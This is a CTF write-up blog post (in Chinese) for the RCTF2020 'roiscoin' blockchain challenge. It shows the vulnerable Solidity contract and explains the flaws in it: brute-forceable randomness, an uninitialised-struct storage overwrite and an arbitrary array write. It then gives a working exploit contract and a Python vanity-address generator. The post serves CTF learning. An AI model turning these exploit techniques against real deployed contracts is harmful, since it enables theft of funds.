Fork me on GitHub
pikachu's Blog

RCTF2020 roiscoin

前言

  • RCTF2020 区块链 roiscoin 题目
  • 以太坊 Ropsten 测试链

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
pragma solidity ^0.4.23;

contract FakeOwnerGame {
event SendFlag(address _addr);

uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address private owner;
uint256 settlementBlockNumber;
address guesser;
uint8 guess;

struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}

if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}

function beOwner() payable {
require(address(this).balance > 0);
if(msg.value >= address(this).balance){
owner = msg.sender;
}
}

function revise(uint idx, bytes32 tmp) {
if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
codex[idx] = tmp;
}
}
}

Analyse

  • 题目直接给了源码
  • 题目有非预期:beOwner 在合约账户余额为 0 的情况下可以直接成为 owner ,这个没有控制好条件,同时 settle 那里应该也有非预期,应该只让猜 3 次,结果也没有控制好条件,本文不介绍非预期的做法
  • 抛除非预期,这里介绍下题目正常的逻辑,考点有三个:
    • 预测随机数: 这里的随机数是未来的随机数,可以说是预测未来的随机数,看似不可能,关键在于 guess 的范围是 2 ,也就是只有 01 ,所以可以爆破
    • 未初始化的结构体 storage 覆盖问题: settle 中的 failedlog 未初始化会造成 storage 变量覆盖,会覆盖 codex 数组长度
    • 数组任意写: 当数组长度被修改后,可以覆盖 owner ,当然这对数组长度有一定的要求,根据情况选择合适的数据,这里是用 msg.sender 覆盖数组长度的高 20 字节

exp

  • 部署 hack 合约,这里需要注意:
    • 数组在 storage5 位置, keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
    • 当我们修改 codex[y],(y=2^256-x+6) 时就能修改 slot 6 ,从而修改 owner , 其中 x = keccak256(bytes32(5))
    • 计算出 y = 114245411204874937970903528273105092893277201882823832116766311725579567940182 , 即 y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
    • 所以数组的长度 codex.length> y , 由于 msg.sender 覆盖数组长度的高 20 字节,所以其实是变相要求 address(msg.sender) > y , 我们可以生成以 0xfd0xfe0xff 开头的地址即可简单满足这一点
  • 解题步骤
    • 调用 hack1
    • 调用 hack2 一次,这一次需要满足 result = 1 ,否则继续调用 hack2 ,直至这一次成功
    • 调用 hack3 两次,这两次需要满足 result = 0 ,否则继续调用 hack3 ,直至两次为止
    • 调用 hack4 修改 owner ,这里有个坑点,题目给的合约不是真正的合约,因为调用 hack4 总是不能成功修改 owner , 逆向合约,可以看出 revise 函数有问题,额外要求 msg.sender 最低位字节是 0x61 ,所以对 msg.sender 总共有两点要求: 大于 y 并且最低字节是 0x61
    • 调用 hack5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
pragma solidity ^0.4.23;

contract FakeOwnerGame {
event SendFlag(address _addr);

uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address private owner;
uint256 settlementBlockNumber;
address guesser;
uint8 guess;

struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}

if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}

function beOwner() payable {
require(address(this).balance > 0);
if(msg.value >= address(this).balance){
owner = msg.sender;
}
}

function revise(uint idx, bytes32 tmp) {
if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
codex[idx] = tmp;
}
}

function read_slot(uint k) public view returns (bytes32 res) {
assembly { res := sload(k) }
}

function cal_addr(uint p) public pure returns(bytes32 res) {
res = keccak256(abi.encodePacked(p));
}
}

contract hack {
uint public result;
address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ;
FakeOwnerGame target = FakeOwnerGame(instance_address);

constructor() payable{}

// 随机猜一个数0或1
function hack1() {
target.lockInGuess.value(1 ether)(0);
}

// 这里先让result=1,即先猜失败
function hack2() {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (result == 1) {
target.settle();
}
}

// 这里让result=0,即猜测成功,连续调用两次
function hack3() {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (result == 0) {
target.settle();
}
}

// 修改owner
function hack4() {
target.revise(114245411204874937970903528273105092893277201882823832116766311725579567940182,bytes32(address(this)));
}

function hack5() {
target.payforflag();
}
}
  • 对于该题目生成满足 msg.sender 的合约地址可通过下面脚本生成,直接调用 generate_eoa2 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not addr.lower().endswith("1b1b"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not (utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("61") and utils.decode_addr(utils.mk_contract_address(addr, 0)).startswith("fd")):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))


print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/rctf2020-roiscoin/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!